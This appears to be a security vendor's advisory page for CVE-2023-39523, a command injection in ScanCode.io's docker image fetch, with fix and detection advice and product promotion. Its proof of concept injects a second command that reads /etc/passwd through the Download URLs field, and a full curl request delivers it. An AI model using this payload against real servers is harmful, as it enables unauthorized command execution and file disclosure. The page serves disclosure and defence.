CVE-2023-39523 is a medium-severity (CVSS 6.8) CWE-77 vulnerability in scancodeio. 1 public exploit reference exists, so weaponization risk is real. A fix is available for scancodeio — see the affected versions and patch details below.
ScanCode.io command injection in docker image fetch process
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2023-39523.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2023-39523 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
scancodeioReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Command Injection in docker fetch process
Summary
A possible command injection in the docker fetch process as it allows to append malicious commands in the docker_reference parameter.
Details
In the function scanpipe/pipes/fetch.py:fetch_docker_image[1] the parameter docker_reference is user controllable. The docker_reference variable is then passed to the vulnerable function get_docker_image_platform.
def fetch_docker_image(docker_reference, to=None):
"""
code snipped ....
"""
platform_args = []
platform = get_docker_image_platform(docker_reference) # User controlled `docker_reference` passed
"""
code snipped...
"""
However, the get_docker_image_plaform function constructs a shell command with the passed docker_reference. The pipes.run_command then executes the shell command without any prior sanitization, making the function vulnerable to command injections.
def get_docker_image_platform(docker_reference):
"""
Return a platform mapping of a docker reference.
If there are more than one, return the first one by default.
"""
skopeo_executable = _get_skopeo_location()
"""
Constructing a shell command with user controlled variable `docker_reference`
"""
cmd = (
f"{skopeo_executable} inspect --insecure-policy --raw --no-creds "
f"{docker_reference}"
)
logger.info(f"Fetching image os/arch data: {cmd}")
exitcode, output = pipes.run_command(cmd) # Executing command
logger.info(output)
if exitcode != 0:
raise FetchDockerImageError(output)
A malicious user who is able to create or add inputs to a project can inject commands. Although the command injections are blind and the user will not receive direct feedback without logs, it is still possible to cause damage to the server/container. The vulnerability appears for example if a malicious user adds a semicolon after the input of docker://;, it would allow appending malicious commands.
PoC
-
Create a new project with following input
docker://;echo${IFS}"PoC"${IFS}&&cat${IFS}/etc/passwdin the filed Download URLs
-
Check docker logs to see the command execution

curl -i -s -k -X $'POST' \
-H $'Host: localhost' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: multipart/form-data; boundary=---------------------------2742275543734015476190112060' -H $'Content-Length: 923' -H $'Origin: http://localhost' -H $'DNT: 1' -H $'Connection: close' -H $'Referer: http://localhost/project/add/' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1' \
-b $'csrftoken=7H2chgA7jPHnXK0NNPftIoCW9z8SabKR' \
--data-binary $'-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"csrfmiddlewaretoken\"\x0d\x0a\x0d\x0ayslGuNnvWloFUEUCWI5VlMuZ60ZDDSkFvZdIBTNs50VSHeKfznaeT0WL5pXlDTUm\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"name\"\x0d\x0a\x0d\x0apoc\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_files\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_urls\"\x0d\x0a\x0d\x0adocker://;echo${IFS}\"PoC\"${IFS}&&cat${IFS}/etc/passwd\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"pipeline\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"execute_now\"\x0d\x0a\x0d\x0aon\x0d\x0a-----------------------------2742275543734015476190112060--\x0d\x0a' \
$'http://localhost/project/add/'
Mitigations
The docker_reference input should be sanitized to avoid command injections and it is not recommend to create commands with user controlled input directly.
Tested on:
- Commit: Latest commit [bda3a70e0b8cd95433928db1fd4b23051bc7b7eb]
- OS: Ubuntu Linux Kernel 5.19.0
References [1] https://github.com/nexB/scancode.io/blob/main/scanpipe/pipes/fetch.py#L185
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | scancodeio | all versions | 32.5.1pip install --upgrade 'scancodeio==32.5.1' |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for scancodeio, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update scancodeio to 32.5.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-39523 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2023-39523 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2023-39523. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2023-39523 in your dependencies?
O3 Security finds CVE-2023-39523 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.